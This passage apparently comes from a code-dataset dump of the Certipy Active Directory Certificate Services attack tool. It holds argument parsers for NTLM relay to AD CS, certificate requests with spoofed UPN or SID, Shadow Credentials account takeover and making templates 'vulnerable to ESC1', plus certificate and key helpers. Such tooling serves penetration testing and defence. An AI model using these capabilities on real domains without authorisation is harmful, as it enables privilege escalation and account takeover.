action="store_true",
help="Relay to /certsrv/certrqxt.asp and parse available certificate templates",
)
# Connection parameters
conn_group = subparser.add_argument_group("connection options")
conn_group.add_argument(
"-timeout",
action="store",
metavar="seconds",
help="Timeout for connections in seconds (default: 10)",
default=10,
type=int,
)
return NAME, entry
|
Add the NTLM relay command subparser to the main parser.
This function creates and configures a subparser for relaying NTLM authentication
to AD CS HTTP endpoints, enabling certificate theft and account takeover via
certificate-based authentication.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
|
add_subparser
|
python
|
ly4k/Certipy
|
certipy/commands/parsers/relay.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parsers/relay.py
|
MIT
|
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the certificate request command subparser to the main parser.
This function creates and configures a subparser for requesting certificates
from AD CS, including options for certificate templates, subject alternative names,
and various enrollment methods.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the req subparser with description
subparser = subparsers.add_parser(
NAME,
help="Request certificates",
description=(
"Request and retrieve certificates from Active Directory Certificate Services (AD CS). "
"This command supports multiple enrollment protocols and certificate template types."
),
)
# CA name (required)
subparser.add_argument(
"-ca",
action="store",
metavar="certificate authority name",
help="Name of the Certificate Authority to request certificates from. Required for RPC and DCOM methods",
)
# Certificate request parameters
cert_group = subparser.add_argument_group("certificate request options")
cert_group.add_argument(
"-template",
action="store",
metavar="template name",
default="User",
help="Certificate template to request (default: User)",
)
# Subject Alternative Name options
cert_group.add_argument(
"-upn",
action="store",
metavar="alternative UPN",
help="User Principal Name to include in the Subject Alternative Name",
)
cert_group.add_argument(
"-dns",
action="store",
metavar="alternative DNS",
help="DNS name to include in the Subject Alternative Name",
)
cert_group.add_argument(
"-sid",
action="store",
metavar="alternative Object SID",
help="Object SID to include in the Subject Alternative Name",
)
cert_group.add_argument(
"-subject",
action="store",
metavar="subject",
help="Subject to include in certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL",
)
# Certificate retrieval options
cert_group.add_argument(
"-retrieve",
action="store",
metavar="request ID",
help="Retrieve an issued certificate specified by a request ID instead of requesting a new certificate",
default=None,
type=int,
)
# Certificate request agent options
cert_group.add_argument(
"-on-behalf-of",
action="store",
metavar="domain\\account",
help="Use a Certificate Request Agent certificate to request on behalf of another user",
)
cert_group.add_argument(
"-pfx",
action="store",
metavar="pfx/p12 file name",
help="Path to PFX for -on-behalf-of or -renew",
)
cert_group.add_argument(
"-pfx-password",
action="store",
metavar="PFX file password",
help="Password for the PFX file",
)
# Key options
cert_group.add_argument(
"-key-size",
action="store",
metavar="RSA key length",
help="Length of RSA key (default: 2048)",
default=2048,
type=int,
)
cert_group.add_argument(
"-archive-key", action="store_true", help="Send private key for Key Archival"
)
cert_group.add_argument(
"-cax-cert",
action="store_true",
help="Retrieve CAX Cert for relay with enabled Key Archival",
)
cert_group.add_argument(
"-renew", action="store_true", help="Create renewal request"
)
# Advanced certificate options
cert_group.add_argument(
"-application-policies",
action="store",
nargs="+",
metavar="Application Policy",
help="Specify application policies for the certificate request using OIDs (e.g., '1.3.6.1.4.1.311.10.3.4' or 'Client Authentication')",
)
cert_group.add_argument(
"-smime",
action="store",
metavar="encryption algorithm",
help="Specify SMIME Extension that gets added to CSR (e.g., des, rc4, 3des, aes128, aes192, aes256)",
)
# Output options
output_group = subparser.add_argument_group("output options")
output_group.add_argument(
"-out",
action="store",
metavar="output file name",
help="Path to save the certificate and private key (PFX format)",
)
# Connection method options
connection_group = subparser.add_argument_group("connection options")
connection_group.add_argument(
"-web", action="store_true", help="Use Web Enrollment instead of RPC"
)
connection_group.add_argument(
"-dcom", action="store_true", help="Use DCOM Enrollment instead of RPC"
)
# RPC-specific options
rpc_group = subparser.add_argument_group("rpc connection options")
rpc_group.add_argument(
"-dynamic-endpoint",
action="store_true",
help="Prefer dynamic TCP endpoint over named pipe",
)
# HTTP-specific options
http_group = subparser.add_argument_group("http connection options")
http_group.add_argument(
"-http-scheme",
action="store",
metavar="http scheme",
choices=["http", "https"],
default="http",
help="HTTP scheme to use for Web Enrollment (default: http)",
)
http_group.add_argument(
"-http-port",
action="store",
metavar="port number",
help="Web Enrollment port (default: 80 for http, 443 for https)",
type=int,
)
http_group.add_argument(
"-no-channel-binding",
action="store_true",
help="Disable channel binding for HTTP connections",
)
# Add standard target arguments
target.add_argument_group(subparser, connection_options=connection_group)
return NAME, entry
|
Add the certificate request command subparser to the main parser.
This function creates and configures a subparser for requesting certificates
from AD CS, including options for certificate templates, subject alternative names,
and various enrollment methods.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
|
add_subparser
|
python
|
ly4k/Certipy
|
certipy/commands/parsers/req.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parsers/req.py
|
MIT
|
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the shadow credentials command subparser to the main parser.
This function creates and configures a subparser for managing Shadow Credentials
(Key Credential Links) in Active Directory, including options for listing, adding,
and removing credential links for account takeover.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the shadow subparser with description
subparser = subparsers.add_parser(
NAME,
help="Abuse Shadow Credentials for account takeover",
description=(
"Manipulate Key Credential Links (Shadow Credentials) on Active Directory accounts. "
"This allows for account takeover by adding or modifying Key Credential Links."
),
)
# Main action argument (required)
subparser.add_argument(
"shadow_action",
choices=["list", "add", "remove", "clear", "info", "auto"],
help=(
"Operation to perform on Key Credential Links: "
"list (view all), "
"add (create new), "
"remove (delete specific), "
"clear (remove all), "
"info (display detailed information), "
"auto (automatically exploit)"
),
)
# Target account options
account_group = subparser.add_argument_group("account options")
account_group.add_argument(
"-account",
action="store",
metavar="target account",
help=(
"Account to target. If omitted, the user "
"specified in the target will be used"
),
)
account_group.add_argument(
"-device-id",
action="store",
metavar="device id",
help="Device ID of the Key Credential Link to target",
)
# Output options
output_group = subparser.add_argument_group("output options")
output_group.add_argument(
"-out",
action="store",
metavar="output file name",
help="Output file for saving certificate or results",
)
# Add standard target arguments from shared module
target.add_argument_group(subparser)
return NAME, entry
|
Add the shadow credentials command subparser to the main parser.
This function creates and configures a subparser for managing Shadow Credentials
(Key Credential Links) in Active Directory, including options for listing, adding,
and removing credential links for account takeover.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
|
add_subparser
|
python
|
ly4k/Certipy
|
certipy/commands/parsers/shadow.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parsers/shadow.py
|
MIT
|
def add_argument_group(
parser: argparse.ArgumentParser,
connection_options: Optional[argparse._ArgumentGroup] = None,
) -> None:
"""
Add common target, connection, and authentication arguments to a parser.
This function adds standard options for connecting to Active Directory targets,
including domain controllers, authentication methods, and network settings.
Args:
parser: The parser to add argument groups to
connection_options: Optional existing argument group for connection options
"""
# Connection Options Group
if connection_options is not None:
conn_group = connection_options
else:
conn_group = parser.add_argument_group("connection options")
# Domain controller options
_ = conn_group.add_argument(
"-dc-ip",
action="store",
metavar="ip address",
help=(
"IP address of the domain controller. If omitted, it will use the domain "
"part (FQDN) specified in the target parameter"
),
)
_ = conn_group.add_argument(
"-dc-host",
action="store",
metavar="hostname",
help=(
"Hostname of the domain controller. Required for Kerberos authentication "
"during certain operations. If omitted, the domain part (FQDN) "
"specified in the account parameter will be used"
),
)
# Target machine options
_ = conn_group.add_argument(
"-target-ip",
action="store",
metavar="ip address",
help=(
"IP address of the target machine. If omitted, it will use whatever was "
"specified as target. Useful when target is the NetBIOS name and cannot be resolved"
),
)
_ = conn_group.add_argument(
"-target",
action="store",
metavar="dns/ip address",
help="DNS name or IP address of the target machine. Required for Kerberos authentication",
)
# DNS options
_ = conn_group.add_argument(
"-ns",
action="store",
metavar="ip address",
help="Nameserver for DNS resolution",
)
_ = conn_group.add_argument(
"-dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries"
)
# Connection options
_ = conn_group.add_argument(
"-timeout",
action="store",
metavar="seconds",
help="Timeout for connections in seconds (default: 10)",
default=10,
type=int,
)
# Authentication Options Group
auth_group = parser.add_argument_group("authentication options")
# Credential options
_ = auth_group.add_argument(
"-u",
"-username",
metavar="username@domain",
dest="username",
action="store",
help="Username to authenticate with",
)
_ = auth_group.add_argument(
"-p",
"-password",
metavar="password",
dest="password",
action="store",
help="Password for authentication",
)
_ = auth_group.add_argument(
"-hashes",
action="store",
metavar="[lmhash:]nthash",
help="NTLM hash",
)
# Authentication options
_ = auth_group.add_argument(
"-k",
action="store_true",
dest="do_kerberos",
help=(
"Use Kerberos authentication. Grabs credentials from ccache file "
"(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, "
"it will use the ones specified in the command line"
),
)
_ = auth_group.add_argument(
"-aes",
action="store",
metavar="hex key",
help="AES key to use for Kerberos Authentication (128 or 256 bits)",
)
_ = auth_group.add_argument(
"-no-pass",
action="store_true",
help="Don't ask for password (useful for -k)",
)
# LDAP Options Group
ldap_group = parser.add_argument_group("ldap options")
_ = ldap_group.add_argument(
"-ldap-scheme",
action="store",
metavar="ldap scheme",
choices=["ldap", "ldaps"],
default="ldaps",
help="LDAP connection scheme to use (default: ldaps)",
)
_ = ldap_group.add_argument(
"-ldap-port",
action="store",
metavar="port",
type=int,
help="Port for LDAP communication (default: 636 for ldaps, 389 for ldap)",
)
_ = ldap_group.add_argument(
"-no-ldap-channel-binding",
action="store_true",
help="Don't use LDAP channel binding for LDAP communication (LDAPS only)",
)
_ = ldap_group.add_argument(
"-no-ldap-signing",
action="store_true",
help="Don't use LDAP signing for LDAP communication (LDAP only)",
)
_ = ldap_group.add_argument(
"-ldap-simple-auth",
action="store_true",
dest="do_simple",
help="Use SIMPLE LDAP authentication instead of NTLM",
)
_ = ldap_group.add_argument(
"-ldap-user-dn",
action="store",
metavar="dn",
help="Distinguished Name of target account for LDAP authentication",
)
|
Add common target, connection, and authentication arguments to a parser.
This function adds standard options for connecting to Active Directory targets,
including domain controllers, authentication methods, and network settings.
Args:
parser: The parser to add argument groups to
connection_options: Optional existing argument group for connection options
|
add_argument_group
|
python
|
ly4k/Certipy
|
certipy/commands/parsers/target.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parsers/target.py
|
MIT
|
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the certificate template command subparser to the main parser.
This function creates and configures a subparser for managing certificate templates
in Active Directory, including options for viewing, modifying, and saving
template configurations.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the template subparser with description
subparser = subparsers.add_parser(
NAME,
help="Manage certificate templates",
description=(
"Manipulate certificate templates in Active Directory. "
"This command allows viewing and modifying template configurations for privilege escalation testing or remediation."
),
)
# Required template name argument
subparser.add_argument(
"-template",
action="store",
metavar="template name",
required=True,
help="Name of the certificate template to operate on (case-sensitive)",
)
# Group configuration-related options
config_group = subparser.add_argument_group("configuration options")
config_group.add_argument(
"-write-configuration",
action="store",
metavar="configuration file",
help=(
"Apply configuration from a JSON file to the certificate template. "
"Use this option to restore a previous configuration or apply custom settings. "
"The file should contain the template configuration in valid JSON format."
),
)
config_group.add_argument(
"-write-default-configuration",
action="store_true",
help=(
"Apply the default Certipy ESC1 configuration to the certificate template. "
"This configures the template to be vulnerable to ESC1 attack."
),
)
config_group.add_argument(
"-save-configuration",
action="store",
metavar="configuration file",
help=(
"Save the current template configuration to a JSON file. "
"This creates a backup before making changes or documents the current settings. "
"If not specified when using -write-configuration or -write-default-configuration, a backup will still be created."
),
)
config_group.add_argument(
"-no-save",
action="store_true",
help=(
"Skip saving the current template configuration before applying changes. "
"Use this option to apply modifications without creating a backup file."
),
)
config_group.add_argument(
"-force",
action="store_true",
help=(
"Don't prompt for confirmation before applying changes. "
"Use this option to apply modifications without user interaction."
),
)
# Add standard target arguments (domain, username, etc.) from shared module
target.add_argument_group(subparser)
return NAME, entry
|
Add the certificate template command subparser to the main parser.
This function creates and configures a subparser for managing certificate templates
in Active Directory, including options for viewing, modifying, and saving
template configurations.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
|
add_subparser
|
python
|
ly4k/Certipy
|
certipy/commands/parsers/template.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parsers/template.py
|
MIT
|
def cert_id_to_parts(
identities: List[Tuple[Optional[str], Optional[str]]],
) -> Tuple[Optional[str], Optional[str]]:
"""
Extract username and domain from certificate identities.
Args:
identities: List of (id_type, id_value) tuples from certificate
Returns:
Tuple of (username, domain)
"""
usernames: List[str] = []
domains: List[str] = []
if len(identities) == 0:
return (None, None)
for id_type, identity in identities:
if id_type is None or identity is None:
continue
if id_type != "DNS Host Name" and id_type != "UPN":
continue
cert_username = ""
cert_domain = ""
if id_type == "DNS Host Name":
parts = identity.split(".")
if len(parts) == 1:
cert_username = identity
cert_domain = ""
else:
cert_username = parts[0] + "$"
cert_domain = ".".join(parts[1:])
elif id_type == "UPN":
parts = identity.split("@")
if len(parts) == 1:
cert_username = identity
cert_domain = ""
else:
cert_username = "@".join(parts[:-1])
cert_domain = parts[-1]
usernames.append(cert_username)
domains.append(cert_domain)
return ("_".join(usernames), "_".join(domains))
|
Extract username and domain from certificate identities.
Args:
identities: List of (id_type, id_value) tuples from certificate
Returns:
Tuple of (username, domain)
|
cert_id_to_parts
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def print_certificate_authentication_information(
certificate: x509.Certificate,
) -> None:
"""
Display all authentication-related information found in a certificate.
This function extracts and prints various identity methods used in a
certificate, including Subject Alternative Names (SAN), Security Identifiers (SID),
and other Microsoft-specific extensions that can be used for authentication.
Args:
certificate: X.509 certificate to analyze and display information for
"""
# Extract all identity information
identities = get_identities_from_certificate(certificate)
san_url_sid = get_object_sid_from_certificate_san_url(certificate)
sid_extension_sid = get_object_sid_from_certificate_sid_extension(certificate)
# Print certificate identities with clear section header
logging.info("Certificate identities:")
# Case: No identities found
if len(identities) == 0 and not san_url_sid and not sid_extension_sid:
logging.info(" No identities found in this certificate")
return
# Print Subject Alternative Name entries
if identities:
for id_type, id_value in identities:
logging.info(f" SAN {id_type}: {id_value!r}")
# Print SID from SAN URL (newer format)
if san_url_sid:
logging.info(f" SAN URL SID: {san_url_sid!r}")
# Print SID from Security Extension (common format used by AD CS)
if sid_extension_sid:
logging.info(f" Security Extension SID: {sid_extension_sid!r}")
|
Display all authentication-related information found in a certificate.
This function extracts and prints various identity methods used in a
certificate, including Subject Alternative Names (SAN), Security Identifiers (SID),
and other Microsoft-specific extensions that can be used for authentication.
Args:
certificate: X.509 certificate to analyze and display information for
|
print_certificate_authentication_information
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def print_certificate_identities(
identities: List[Tuple[str, str]],
) -> None:
"""
Print certificate identity information with appropriate formatting.
Args:
identities: List of tuples containing (identity_type, identity_value)
"""
if len(identities) > 1:
logging.info("Got certificate with multiple identities")
for id_type, id_value in identities:
print(f" {id_type}: {id_value!r}")
elif len(identities) == 1:
id_type, id_value = identities[0]
logging.info(f"Got certificate with {id_type} {id_value!r}")
else:
logging.info("Got certificate without identity")
|
Print certificate identity information with appropriate formatting.
Args:
identities: List of tuples containing (identity_type, identity_value)
|
print_certificate_identities
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def get_identities_from_certificate(
certificate: x509.Certificate,
) -> List[Tuple[str, str]]:
"""
Extract identity information from a certificate.
Args:
certificate: X.509 certificate to analyze
Returns:
List of tuples with (id_type, id_value)
"""
identities = []
try:
# Get Subject Alternative Name extension
san = certificate.extensions.get_extension_for_oid(
ExtensionOID.SUBJECT_ALTERNATIVE_NAME
)
if not isinstance(san.value, SubjectAlternativeName):
raise ValueError("Invalid SAN value")
# Extract UPN from OtherName fields
for name in san.value.get_values_for_type(x509.OtherName):
if name.type_id == PRINCIPAL_NAME:
identities.append(
(
"UPN",
decoder.decode(name.value, asn1Spec=UTF8String)[0].decode(),
)
)
# Extract DNS names
for name in san.value.get_values_for_type(x509.DNSName):
identities.append(("DNS Host Name", name))
except Exception:
pass
return identities
|
Extract identity information from a certificate.
Args:
certificate: X.509 certificate to analyze
Returns:
List of tuples with (id_type, id_value)
|
get_identities_from_certificate
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def get_object_sid_from_certificate_san_url(
certificate: x509.Certificate,
) -> Optional[str]:
"""
Extract a Security Identifier (SID) from a certificate's Subject Alternative Name (SAN)
URL field.
Microsoft AD CS can include SIDs in certificates as URLs with a specific format:
tag:microsoft.com,2022-09-14:sid:{SID}
Args:
certificate: X.509 certificate to analyze
Returns:
Extracted Security Identifier as string, or None if not found
"""
try:
# Get Subject Alternative Name extension
san = certificate.extensions.get_extension_for_oid(
ExtensionOID.SUBJECT_ALTERNATIVE_NAME
)
if not isinstance(san.value, SubjectAlternativeName):
raise ValueError("Invalid SAN value type")
# Search for SIDs in UniformResourceIdentifier fields
for name in san.value.get_values_for_type(x509.UniformResourceIdentifier):
if SAN_URL_PREFIX in name.lower():
# Extract the SID portion that follows the prefix
return name[
name.lower().find(SAN_URL_PREFIX) + len(SAN_URL_PREFIX) :
].strip()
except Exception:
pass
return None
|
Extract a Security Identifier (SID) from a certificate's Subject Alternative Name (SAN)
URL field.
Microsoft AD CS can include SIDs in certificates as URLs with a specific format:
tag:microsoft.com,2022-09-14:sid:{SID}
Args:
certificate: X.509 certificate to analyze
Returns:
Extracted Security Identifier as string, or None if not found
|
get_object_sid_from_certificate_san_url
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def get_object_sid_from_certificate_sid_extension(
certificate: x509.Certificate,
) -> Optional[str]:
"""
Extract a Security Identifier (SID) from a certificate's Microsoft-specific
NTDS_CA_SECURITY_EXT extension.
This extension is commonly used in Microsoft AD CS environments to associate
certificates with specific Active Directory objects.
Args:
certificate: X.509 certificate to analyze
Returns:
Security Identifier as string, or None if not found
"""
try:
# Get Microsoft security extension
object_sid = certificate.extensions.get_extension_for_oid(NTDS_CA_SECURITY_EXT)
if not isinstance(object_sid.value, x509.UnrecognizedExtension):
raise ValueError(
f"Expected UnrecognizedExtension for security extension, got {type(object_sid.value)}"
)
# Extract SID string (format is binary with an S-1-5... SID string)
sid_value = object_sid.value.value
sid_start = sid_value.find(b"S-1-5")
if sid_start == -1:
logging.debug("Could not find SID pattern in security extension")
return None
return sid_value[sid_start:].decode().strip()
except Exception:
pass
return None
|
Extract a Security Identifier (SID) from a certificate's Microsoft-specific
NTDS_CA_SECURITY_EXT extension.
This extension is commonly used in Microsoft AD CS environments to associate
certificates with specific Active Directory objects.
Args:
certificate: X.509 certificate to analyze
Returns:
Security Identifier as string, or None if not found
|
get_object_sid_from_certificate_sid_extension
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def get_object_sid_from_certificate(
certificate: x509.Certificate,
) -> Optional[str]:
"""
Extract a Security Identifier (SID) from a certificate using multiple methods.
This function attempts to find SIDs in both the Subject Alternative Name URL field
and the Microsoft-specific security extension. Different certificate templates may
use different approaches for storing SIDs, so both methods are tried.
The security extension SID is prioritized as Windows uses this value for
authentication purposes. If only the SAN URL SID is available, that will be returned.
Args:
certificate: X.509 certificate to analyze
Returns:
The security extension SID (preferred) or SAN URL SID if available, otherwise None
"""
# Extract SIDs using both available methods
san_url_sid = get_object_sid_from_certificate_san_url(certificate)
sid_extension_sid = get_object_sid_from_certificate_sid_extension(certificate)
# Log debug information about found SIDs
if san_url_sid:
logging.debug(f"Found SID in SAN URL: {san_url_sid!r}")
if sid_extension_sid:
logging.debug(f"Found SID in security extension: {sid_extension_sid!r}")
# Log a warning if both methods found different SIDs
if san_url_sid and sid_extension_sid and san_url_sid != sid_extension_sid:
logging.warning(f"Conflicting SIDs found in certificate:")
logging.warning(f" SAN URL: {san_url_sid!r}")
logging.warning(f" Security Extension: {sid_extension_sid!r}")
logging.warning(
"Windows will use the security extension SID for authentication purposes"
)
# Return the security extension SID if available (preferred by Windows),
# otherwise fall back to the SAN URL SID
return sid_extension_sid or san_url_sid
|
Extract a Security Identifier (SID) from a certificate using multiple methods.
This function attempts to find SIDs in both the Subject Alternative Name URL field
and the Microsoft-specific security extension. Different certificate templates may
use different approaches for storing SIDs, so both methods are tried.
The security extension SID is prioritized as Windows uses this value for
authentication purposes. If only the SAN URL SID is available, that will be returned.
Args:
certificate: X.509 certificate to analyze
Returns:
The security extension SID (preferred) or SAN URL SID if available, otherwise None
|
get_object_sid_from_certificate
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def key_to_pem(key: PrivateKeyTypes) -> bytes:
"""
Convert private key to PEM format (PKCS#8).
Args:
key: Private key object
Returns:
PEM-encoded key as bytes
"""
return key.private_bytes(
Encoding.PEM, PrivateFormat.PKCS8, encryption_algorithm=NoEncryption()
)
|
Convert private key to PEM format (PKCS#8).
Args:
key: Private key object
Returns:
PEM-encoded key as bytes
|
key_to_pem
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def key_to_der(key: PrivateKeyTypes) -> bytes:
"""
Convert private key to DER format (PKCS#8).
Args:
key: Private key object
Returns:
DER-encoded key as bytes
"""
return key.private_bytes(
Encoding.DER, PrivateFormat.PKCS8, encryption_algorithm=NoEncryption()
)
|
Convert private key to DER format (PKCS#8).
Args:
key: Private key object
Returns:
DER-encoded key as bytes
|
key_to_der
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def der_to_pem(der: bytes, pem_type: str) -> str:
"""
Convert DER-encoded data to PEM format.
Args:
der: DER-encoded binary data
pem_type: PEM header/footer type (e.g., "CERTIFICATE")
Returns:
PEM-encoded data as string
"""
pem_type = pem_type.upper()
b64_data = base64.b64encode(der).decode()
return "-----BEGIN %s-----\n%s\n-----END %s-----\n" % (
pem_type,
"\n".join([b64_data[i : i + 64] for i in range(0, len(b64_data), 64)]),
pem_type,
)
|
Convert DER-encoded data to PEM format.
Args:
der: DER-encoded binary data
pem_type: PEM header/footer type (e.g., "CERTIFICATE")
Returns:
PEM-encoded data as string
|
der_to_pem
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def private_key_to_ms_blob(private_key: rsa.RSAPrivateKey) -> bytes:
"""
Convert RSA private key to Microsoft BLOB format.
Args:
private_key: RSA private key
Returns:
Microsoft BLOB format key data
"""
# Get key size
bitlen = private_key.key_size
private_numbers = private_key.private_numbers()
public_numbers = private_numbers.public_numbers
# Calculate byte lengths
bitlen8 = math.ceil(bitlen / 8)
bitlen16 = math.ceil(bitlen / 16)
# Pack in Microsoft's format
return struct.pack(
"<bbHI4sII%ds%ds%ds%ds%ds%ds%ds"
% (bitlen8, bitlen16, bitlen16, bitlen16, bitlen16, bitlen16, bitlen8),
7, # PRIVATEKEYBLOB
2, # Version
0, # Reserved
41984, # Algorithm ID
b"RSA2", # Magic
bitlen, # Key size in bits
public_numbers.e, # Public exponent
public_numbers.n.to_bytes(bitlen8, "little"), # Modulus
private_numbers.p.to_bytes(bitlen16, "little"), # Prime 1
private_numbers.q.to_bytes(bitlen16, "little"), # Prime 2
private_numbers.dmp1.to_bytes(bitlen16, "little"), # Exponent 1
private_numbers.dmq1.to_bytes(bitlen16, "little"), # Exponent 2
private_numbers.iqmp.to_bytes(bitlen16, "little"), # Coefficient
private_numbers.d.to_bytes(bitlen8, "little"), # Private exponent
)
|
Convert RSA private key to Microsoft BLOB format.
Args:
private_key: RSA private key
Returns:
Microsoft BLOB format key data
|
private_key_to_ms_blob
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def create_pfx(
key: PrivateKeyTypes, cert: x509.Certificate, password: Optional[str] = None
) -> bytes:
"""
Create a PKCS#12/PFX container with certificate and private key.
Args:
key: Private key object
cert: Certificate object
password: Optional encryption password
Returns:
PKCS#12 data as bytes
Raises:
TypeError: If key type is not supported
"""
# Validate key type
if not (
isinstance(key, rsa.RSAPrivateKey)
or isinstance(key, dsa.DSAPrivateKey)
or isinstance(key, ec.EllipticCurvePrivateKey)
or isinstance(key, ed25519.Ed25519PrivateKey)
or isinstance(key, ed448.Ed448PrivateKey)
):
# Log error with details to help diagnose the issue
logging.error(
"Private key must be an instance of RSAPrivateKey, DSAPrivateKey, "
f"EllipticCurvePrivateKey, Ed25519PrivateKey or Ed448PrivateKey. Received {type(key)}"
)
logging.error("Dumping private key to PEM format")
logging.error(
key.private_bytes(
Encoding.PEM, PrivateFormat.PKCS8, encryption_algorithm=NoEncryption()
)
)
logging.error("Dumping certificate to PEM format")
logging.error(cert.public_bytes(Encoding.PEM))
raise TypeError(
"Private key must be an instance of RSAPrivateKey, DSAPrivateKey, "
"EllipticCurvePrivateKey, Ed25519PrivateKey or Ed448PrivateKey"
)
# Configure encryption algorithm
encryption = NoEncryption()
if password is not None:
encryption = (
PrivateFormat.PKCS12.encryption_builder()
.kdf_rounds(50000)
.key_cert_algorithm(pkcs12.PBES.PBESv1SHA1And3KeyTripleDESCBC)
.hmac_hash(hashes.SHA1())
.build(bytes(password, "utf-8"))
)
# Create PFX
return pkcs12.serialize_key_and_certificates(
name=b"",
key=key,
cert=cert,
cas=None,
encryption_algorithm=encryption,
)
|
Create a PKCS#12/PFX container with certificate and private key.
Args:
key: Private key object
cert: Certificate object
password: Optional encryption password
Returns:
PKCS#12 data as bytes
Raises:
TypeError: If key type is not supported
|
create_pfx
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def load_pfx(
pfx: bytes, password: Optional[bytes] = None
) -> Tuple[Optional[PrivateKeyTypes], Optional[x509.Certificate]]:
"""
Load key and certificate from PKCS#12/PFX data.
Args:
pfx: PKCS#12 data
password: Optional decryption password
Returns:
Tuple of (private_key, certificate)
"""
return pkcs12.load_key_and_certificates(pfx, password)[:-1]
|
Load key and certificate from PKCS#12/PFX data.
Args:
pfx: PKCS#12 data
password: Optional decryption password
Returns:
Tuple of (private_key, certificate)
|
load_pfx
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def rsa_pkcs1v15_sign(
data: bytes,
key: PrivateKeyTypes,
hash_algorithm: type[hashes.HashAlgorithm] = hashes.SHA256,
) -> bytes:
"""
Sign data using RSA PKCS#1 v1.5 padding.
Args:
data: Data to sign
key: Private key for signing
hash_algorithm: Hash algorithm to use
Returns:
Signature bytes
Raises:
TypeError: If key is not an RSA private key
"""
if not isinstance(key, rsa.RSAPrivateKey):
raise TypeError("key must be an instance of RSAPrivateKey")
return key.sign(data, padding.PKCS1v15(), hash_algorithm())
|
Sign data using RSA PKCS#1 v1.5 padding.
Args:
data: Data to sign
key: Private key for signing
hash_algorithm: Hash algorithm to use
Returns:
Signature bytes
Raises:
TypeError: If key is not an RSA private key
|
rsa_pkcs1v15_sign
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def hash_digest(data: bytes, hash_algorithm: type[hashes.HashAlgorithm]) -> bytes:
"""
Compute hash digest of data.
Args:
data: Data to hash
hash_algorithm: Hash algorithm to use
Returns:
Hash digest as bytes
"""
digest = hashes.Hash(hash_algorithm())
digest.update(data)
return digest.finalize()
|
Compute hash digest of data.
Args:
data: Data to hash
hash_algorithm: Hash algorithm to use
Returns:
Hash digest as bytes
|
hash_digest
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def dn_to_components(dn: str) -> List[Tuple[str, str]]:
"""
Parse a Distinguished Name string into components.
Args:
dn: DN string (e.g., "CN=username,DC=domain,DC=local")
Returns:
List of (attribute_name, value) tuples
"""
components = []
component = ""
escape_sequence = False
for c in dn:
if c == "\\":
escape_sequence = True
elif escape_sequence and c != " ":
escape_sequence = False
elif c == ",":
if "=" in component:
attr_name, _, value = component.partition("=")
component = (attr_name.strip().upper(), value.strip())
components.append(component)
component = ""
continue
component += c
# Add the last component
attr_name, _, value = component.partition("=")
component = (attr_name.strip().upper(), value.strip())
components.append(component)
return components
|
Parse a Distinguished Name string into components.
Args:
dn: DN string (e.g., "CN=username,DC=domain,DC=local")
Returns:
List of (attribute_name, value) tuples
|
dn_to_components
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def create_csr(
username: str,
alt_dns: Optional[Union[bytes, str]],
